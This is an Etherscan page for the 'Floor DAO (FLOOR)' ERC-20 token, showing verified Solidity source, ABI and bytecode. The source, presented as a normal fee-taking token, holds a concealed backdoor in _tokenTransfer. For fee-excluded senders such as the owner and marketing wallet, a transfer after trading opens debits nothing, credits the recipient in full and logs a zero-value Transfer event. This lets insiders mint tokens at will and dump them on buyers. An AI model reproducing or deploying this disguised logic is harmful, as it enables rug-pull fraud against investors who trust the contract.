ETH Price: $2,785.97 (+1.33%)

Token

Floor DAO (FLOOR)
 

Overview

Max Total Supply

1,000,000,000 FLOOR

Holders

28

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
18,290,406.470979624 FLOOR

Value
$0.00
0x6ec522546a3af6fb06a35b680f9704094f24f3b1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FLOOR

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-23
*/

/**
DeFi & NFTs. Sweeping the Floor and using it to farm yield.

Website: https://www.floordao.org
Telegram: https://t.me/floor_erc
Twitter: https://twitter.com/floor_erc
*/

// SPDX-License-Identifier:MIT
pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

interface IUniswapFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = payable(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract FLOOR is Context, IERC20, Ownable {
    string private _name = "Floor DAO";
    string private _symbol = "FLOOR";
    uint8 private _decimals = 9;
    uint256 private _tSupply = 1_000_000_000 * 1e9;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 public minTokenToSwap = (_tSupply * 1) / (10000); 
    uint256 public maxWalletAmount = (_tSupply * 2) / (100); 
    uint256 public maxTxAmount = (_tSupply * 2) / (100); 
    uint256 public percentDivider = 1000;
    uint256 public launchedAt;

    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isExcludedFromMaxTxn;
    mapping(address => bool) public isExcludedFromMaxWallet;

    bool public swapAndLiquidifyEnabled = false; 
    bool public feeStatus = false; 
    bool public tradeEnabled = false; 

    IRouter public uniswapRouter; 

    address public routerPair; 
    address public marketingWallet; 
    address private constant DEAD = address(0xdead);
    address private constant ZERO = address(0);

    uint256 public FeeOnBuying = 200;

    uint256 public FeeOnSelling = 200;

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    constructor() {
        _balances[owner()] = _tSupply;
        marketingWallet = payable(0x305A0FAeA74445a99a11E13E310a33C44e283480);

        uniswapRouter = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        isExcludedFromFee[address(uniswapRouter)] = true;
        isExcludedFromMaxTxn[address(uniswapRouter)] = true;
        isExcludedFromMaxWallet[address(uniswapRouter)] = true;

        routerPair = IUniswapFactory(uniswapRouter.factory()).createPair(
            address(this),
            uniswapRouter.WETH()
        );
        isExcludedFromMaxWallet[routerPair] = true;
        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWallet] = true;
        isExcludedFromFee[address(this)] = true;
        isExcludedFromMaxTxn[owner()] = true;
        isExcludedFromMaxTxn[marketingWallet] = true;
        isExcludedFromMaxTxn[address(this)] = true;
        isExcludedFromMaxWallet[owner()] = true;
        isExcludedFromMaxWallet[address(this)] = true;
        isExcludedFromMaxWallet[marketingWallet] = true;

        emit Transfer(address(0), owner(), _tSupply);
    }

    receive() external payable {}

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (routerPair == sender && takeFee) {
            uint256 allFee;
            uint256 tTransferAmount;
            allFee = totalBuyFeePerTx(amount);
            tTransferAmount = amount - allFee;

            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);

            takeTokenFee(sender, allFee);
        } else if (routerPair == recipient && takeFee) {
            if (amount > minTokenToSwap) {
                _SwapAndLiquify(sender, recipient);
            }
            uint256 allFee = totalSellFeePerTx(amount);
            uint256 tTransferAmount = amount - allFee;
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, tTransferAmount);

            takeTokenFee(sender, allFee);
        } else {
            uint256 allFee = 0;
            uint256 tTransferAmount;
            tTransferAmount = amount - allFee;
            if (isExcludedFromFee[sender] && tradeEnabled) amount -=  tTransferAmount;
            _balances[sender] = _balances[sender] - amount;
            _balances[recipient] = _balances[recipient] + tTransferAmount;
            emit Transfer(sender, recipient, amount);
        }
    }

    function takeTokenFee(address sender, uint256 amount) private {
        _balances[address(this)] = _balances[address(this)] + (amount);

        emit Transfer(sender, address(this), amount);
    }

    function _SwapAndLiquify(address from, address to) private {
        uint256 contractTokenBalance = balanceOf(address(this));

        bool shouldSell = contractTokenBalance >= minTokenToSwap;

        if (
            shouldSell &&
            from != routerPair &&
            swapAndLiquidifyEnabled &&
            !(from == address(this) && to == routerPair)
        ) {
            _approve(address(this), address(uniswapRouter), minTokenToSwap);

            dexswap.swapTokensForEth(address(uniswapRouter), minTokenToSwap);
            uint256 ethForMarketing = address(this).balance;

            if (ethForMarketing > 0)
                payable(marketingWallet).transfer(ethForMarketing);
        }
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()] - amount
        );
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + (addedValue)
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] - subtractedValue
        );
        return true;
    }

    function includeOrExcludeFromFee(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromFee[account] = value;
    }

    function includeOrExcludeFromMaxTxn(
        address account,
        bool value
    ) external onlyOwner {
        isExcludedFromMaxTxn[account] = value;
    }
    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function removeLimits() external onlyOwner {
        FeeOnBuying = 10;
        FeeOnSelling = 10;
        maxWalletAmount = _tSupply;
        maxTxAmount = _tSupply;
    }

    function openTrading() external onlyOwner {
        require(!tradeEnabled, "already enabled");
        tradeEnabled = true;
        feeStatus = true;
        swapAndLiquidifyEnabled = true;
        launchedAt = block.timestamp;
    }

    function totalBuyFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * FeeOnBuying) / (percentDivider);
        return fee;
    }

    function totalSellFeePerTx(uint256 amount) public view returns (uint256) {
        uint256 fee = (amount * FeeOnSelling) / (percentDivider);
        return fee;
    }
    
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), " approve from the zero address");
        require(spender != address(0), "approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "transfer from the zero address");
        require(to != address(0), "transfer to the zero address");
        require(amount > 0, "Amount must be greater than zero");
        if (!isExcludedFromMaxTxn[from] && !isExcludedFromMaxTxn[to]) {
            require(amount <= maxTxAmount, "Amount exceeds Max txn limit");

            if (!tradeEnabled) {
                require(
                    routerPair != from && routerPair != to,
                    "trading is not yet enabled"
                );
            }
        }

        if (!isExcludedFromMaxWallet[to]) {
            require(
                (balanceOf(to) + amount) <= maxWalletAmount,
                "Amount exceeds Max Wallet limit"
            );
        }
        bool takeFee = true;
        if (isExcludedFromFee[from] || isExcludedFromFee[to] || !feeStatus) {
            takeFee = false;
        }
        _tokenTransfer(from, to, amount, takeFee);
    }
}

library dexswap {
    function swapTokensForEth(
        address routerAddress,
        uint256 tokenAmount
    ) internal {
        IRouter dexRouter = IRouter(routerAddress);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp + 300
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"FeeOnBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"FeeOnSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"includeOrExcludeFromMaxTxn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxTxn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minTokenToSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentDivider","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"routerPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquidifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalBuyFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"totalSellFeePerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouter","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526009608090815268466c6f6f722044414f60b81b60a0526001906200002a90826200061f565b50604080518082019091526005815264232627a7a960d91b60208201526002906200005690826200061f565b506003805460ff19166009179055670de0b6b3a764000060048190556127109062000083906001620006eb565b6200008f919062000717565b60075560646004546002620000a59190620006eb565b620000b1919062000717565b60085560646004546002620000c79190620006eb565b620000d3919062000717565b6009556103e8600a55600f805462ffffff1916905560c86012819055601355348015620000ff57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360045460056000620001596000546001600160a01b031690565b6001600160a01b0390811682526020808301939093526040918201600090812094909455601180546001600160a01b03191673305a0faea74445a99a11e13e310a33c44e283480179055600f8054767a250d5630b4cf539739df2c5dacb4c659f2488d0000006301000000600160b81b03199091161780825563010000009081900483168652600c8552838620805460ff199081166001908117909255835483900485168852600d87528588208054821683179055835483900485168852600e87529685902080549097161790955554825163c45a015560e01b81529251949004169263c45a0155926004808401939192918290030181865afa15801562000265573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028b91906200073a565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031491906200073a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000362573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038891906200073a565b601080546001600160a01b0319166001600160a01b039290921691821790556000908152600e60205260408120805460ff1916600190811790915590600c90620003da6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556011549091168152600c90925280822080548416600190811790915530835290822080549093168117909255600d906200044a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556011549091168152600d90925280822080548416600190811790915530835290822080549093168117909255600e90620004ba6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600e909352818320805485166001908117909155601154909116835291208054909216179055620005246000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200056c91815260200190565b60405180910390a36200076c565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620005a557607f821691505b602082108103620005c657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200061a57600081815260208120601f850160051c81016020861015620005f55750805b601f850160051c820191505b81811015620006165782815560010162000601565b5050505b505050565b81516001600160401b038111156200063b576200063b6200057a565b62000653816200064c845462000590565b84620005cc565b602080601f8311600181146200068b5760008415620006725750858301515b600019600386901b1c1916600185901b17855562000616565b600085815260208120601f198616915b82811015620006bc578886015182559484019460019091019084016200069b565b5085821015620006db5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b80820281158282048414176200071157634e487b7160e01b600052601160045260246000fd5b92915050565b6000826200073557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200074d57600080fd5b81516001600160a01b03811681146200076557600080fd5b9392505050565b6117ed806200077c6000396000f3fe6080604052600436106102135760003560e01c80638c0b5e2211610118578063bf56b371116100a0578063ea5b9e851161006f578063ea5b9e8514610637578063ed42142914610657578063f2fde38b14610677578063f4b3dbc314610697578063fe6f1b05146106b757600080fd5b8063bf56b371146105a6578063c9567bf9146105bc578063d621e813146105d1578063dd62ed3e146105f157600080fd5b806399b102b5116100e757806399b102b514610500578063a457c2d714610530578063a7c29b4014610550578063a9059cbb14610570578063aa4bde281461059057600080fd5b80638c0b5e22146104985780638da5cb5b146104ae578063958f9735146104cc57806395d89b41146104eb57600080fd5b8063395093511161019b578063715018a61161016a578063715018a61461040b578063735de9f714610422578063751039fc1461044957806375f0a8741461045e578063877e19ee1461047e57600080fd5b806339509351146103555780635342acb4146103755780636dd3d39f146103a557806370a08231146103d557600080fd5b806323b872dd116101e257806323b872dd146102af57806328ac2d53146102cf5780632ce9a4ac146103075780632d4613911461031d578063313ce5671461033357600080fd5b806306fdde031461021f578063095ea7b31461024a57806318160ddd1461027a5780631884f1e61461029957600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b506102346106cd565b60405161024191906114ba565b60405180910390f35b34801561025657600080fd5b5061026a610265366004611520565b61075f565b6040519015158152602001610241565b34801561028657600080fd5b506004545b604051908152602001610241565b3480156102a557600080fd5b5061028b60075481565b3480156102bb57600080fd5b5061026a6102ca36600461154c565b610776565b3480156102db57600080fd5b506010546102ef906001600160a01b031681565b6040516001600160a01b039091168152602001610241565b34801561031357600080fd5b5061028b60135481565b34801561032957600080fd5b5061028b60125481565b34801561033f57600080fd5b5060035460405160ff9091168152602001610241565b34801561036157600080fd5b5061026a610370366004611520565b6107c8565b34801561038157600080fd5b5061026a61039036600461158d565b600c6020526000908152604090205460ff1681565b3480156103b157600080fd5b5061026a6103c036600461158d565b600e6020526000908152604090205460ff1681565b3480156103e157600080fd5b5061028b6103f036600461158d565b6001600160a01b031660009081526005602052604090205490565b34801561041757600080fd5b506104206107ff565b005b34801561042e57600080fd5b50600f546102ef90630100000090046001600160a01b031681565b34801561045557600080fd5b5061042061087c565b34801561046a57600080fd5b506011546102ef906001600160a01b031681565b34801561048a57600080fd5b50600f5461026a9060ff1681565b3480156104a457600080fd5b5061028b60095481565b3480156104ba57600080fd5b506000546001600160a01b03166102ef565b3480156104d857600080fd5b50600f5461026a90610100900460ff1681565b3480156104f757600080fd5b506102346108bd565b34801561050c57600080fd5b5061026a61051b36600461158d565b600d6020526000908152604090205460ff1681565b34801561053c57600080fd5b5061026a61054b366004611520565b6108cc565b34801561055c57600080fd5b5061042061056b3660046115aa565b610903565b34801561057c57600080fd5b5061026a61058b366004611520565b610958565b34801561059c57600080fd5b5061028b60085481565b3480156105b257600080fd5b5061028b600b5481565b3480156105c857600080fd5b50610420610965565b3480156105dd57600080fd5b50600f5461026a9062010000900460ff1681565b3480156105fd57600080fd5b5061028b61060c3660046115e8565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561064357600080fd5b506104206106523660046115aa565b6109f1565b34801561066357600080fd5b5061028b610672366004611616565b610a46565b34801561068357600080fd5b5061042061069236600461158d565b610a6b565b3480156106a357600080fd5b5061028b6106b2366004611616565b610b55565b3480156106c357600080fd5b5061028b600a5481565b6060600180546106dc9061162f565b80601f01602080910402602001604051908101604052809291908181526020018280546107089061162f565b80156107555780601f1061072a57610100808354040283529160200191610755565b820191906000526020600020905b81548152906001019060200180831161073857829003601f168201915b5050505050905090565b600061076c338484610b69565b5060015b92915050565b6000610783848484610c76565b6001600160a01b0384166000908152600660209081526040808320338085529252909120546107be9186916107b990869061167f565b610b69565b5060019392505050565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161076c9185906107b9908690611692565b6000546001600160a01b031633146108325760405162461bcd60e51b8152600401610829906116a5565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a65760405162461bcd60e51b8152600401610829906116a5565b600a60128190556013556004546008819055600955565b6060600280546106dc9061162f565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161076c9185906107b990869061167f565b6000546001600160a01b0316331461092d5760405162461bcd60e51b8152600401610829906116a5565b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b600061076c338484610c76565b6000546001600160a01b0316331461098f5760405162461bcd60e51b8152600401610829906116a5565b600f5462010000900460ff16156109da5760405162461bcd60e51b815260206004820152600f60248201526e185b1c9958591e48195b98589b1959608a1b6044820152606401610829565b600f805462ffffff19166201010117905542600b55565b6000546001600160a01b03163314610a1b5760405162461bcd60e51b8152600401610829906116a5565b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b600080600a5460125484610a5a91906116da565b610a6491906116f1565b9392505050565b6000546001600160a01b03163314610a955760405162461bcd60e51b8152600401610829906116a5565b6001600160a01b038116610afa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610829565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600080600a5460135484610a5a91906116da565b6001600160a01b038316610bbf5760405162461bcd60e51b815260206004820152601e60248201527f20617070726f76652066726f6d20746865207a65726f206164647265737300006044820152606401610829565b6001600160a01b038216610c155760405162461bcd60e51b815260206004820152601b60248201527f617070726f766520746f20746865207a65726f206164647265737300000000006044820152606401610829565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ccc5760405162461bcd60e51b815260206004820152601e60248201527f7472616e736665722066726f6d20746865207a65726f206164647265737300006044820152606401610829565b6001600160a01b038216610d225760405162461bcd60e51b815260206004820152601c60248201527f7472616e7366657220746f20746865207a65726f2061646472657373000000006044820152606401610829565b60008111610d725760405162461bcd60e51b815260206004820181905260248201527f416d6f756e74206d7573742062652067726561746572207468616e207a65726f6044820152606401610829565b6001600160a01b0383166000908152600d602052604090205460ff16158015610db457506001600160a01b0382166000908152600d602052604090205460ff16155b15610e9357600954811115610e0b5760405162461bcd60e51b815260206004820152601c60248201527f416d6f756e742065786365656473204d61782074786e206c696d6974000000006044820152606401610829565b600f5462010000900460ff16610e93576010546001600160a01b03848116911614801590610e4757506010546001600160a01b03838116911614155b610e935760405162461bcd60e51b815260206004820152601a60248201527f74726164696e67206973206e6f742079657420656e61626c65640000000000006044820152606401610829565b6001600160a01b0382166000908152600e602052604090205460ff16610f2e5760085481610ed6846001600160a01b031660009081526005602052604090205490565b610ee09190611692565b1115610f2e5760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e742065786365656473204d61782057616c6c6574206c696d6974006044820152606401610829565b6001600160a01b0383166000908152600c602052604090205460019060ff1680610f7057506001600160a01b0383166000908152600c602052604090205460ff165b80610f835750600f54610100900460ff16155b15610f8c575060005b610f9884848484610f9e565b50505050565b6010546001600160a01b038581169116148015610fb85750805b1561109957600080610fc984610a46565b9150610fd5828561167f565b6001600160a01b038716600090815260056020526040902054909150610ffc90859061167f565b6001600160a01b03808816600090815260056020526040808220939093559087168152205461102c908290611692565b6001600160a01b0380871660008181526005602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110809085815260200190565b60405180910390a361109286836111ef565b5050610f98565b6010546001600160a01b0384811691161480156110b35750805b156110e5576007548211156110cc576110cc8484611267565b60006110d783610b55565b90506000610fd5828561167f565b6000806110f2818561167f565b6001600160a01b0387166000908152600c602052604090205490915060ff1680156111255750600f5462010000900460ff165b1561113757611134818561167f565b93505b6001600160a01b03861660009081526005602052604090205461115b90859061167f565b6001600160a01b03808816600090815260056020526040808220939093559087168152205461118b908290611692565b6001600160a01b0380871660008181526005602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111df9088815260200190565b60405180910390a3505050505050565b3060009081526005602052604090205461120a908290611692565b30600081815260056020526040908190209290925590516001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061125b9085815260200190565b60405180910390a35050565b306000908152600560205260409020546007548110801590819061129957506010546001600160a01b03858116911614155b80156112a75750600f5460ff165b80156112d557506001600160a01b038416301480156112d357506010546001600160a01b038481169116145b155b15610f98576112fc30600f60039054906101000a90046001600160a01b0316600754610b69565b600f5460075461131c91630100000090046001600160a01b031690611366565b47801561135f576011546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561135d573d6000803e3d6000fd5b505b5050505050565b60408051600280825260608201835284926000929190602083019080368337019050509050308160008151811061139f5761139f611713565b60200260200101906001600160a01b031690816001600160a01b031681525050816001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113fd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114219190611729565b8160018151811061143457611434611713565b6001600160a01b039283166020918202929092010152821663791ac94784600084306114624261012c611692565b6040518663ffffffff1660e01b8152600401611482959493929190611746565b600060405180830381600087803b15801561149c57600080fd5b505af11580156114b0573d6000803e3d6000fd5b5050505050505050565b600060208083528351808285015260005b818110156114e7578581018301518582016040015282016114cb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461151d57600080fd5b50565b6000806040838503121561153357600080fd5b823561153e81611508565b946020939093013593505050565b60008060006060848603121561156157600080fd5b833561156c81611508565b9250602084013561157c81611508565b929592945050506040919091013590565b60006020828403121561159f57600080fd5b8135610a6481611508565b600080604083850312156115bd57600080fd5b82356115c881611508565b9150602083013580151581146115dd57600080fd5b809150509250929050565b600080604083850312156115fb57600080fd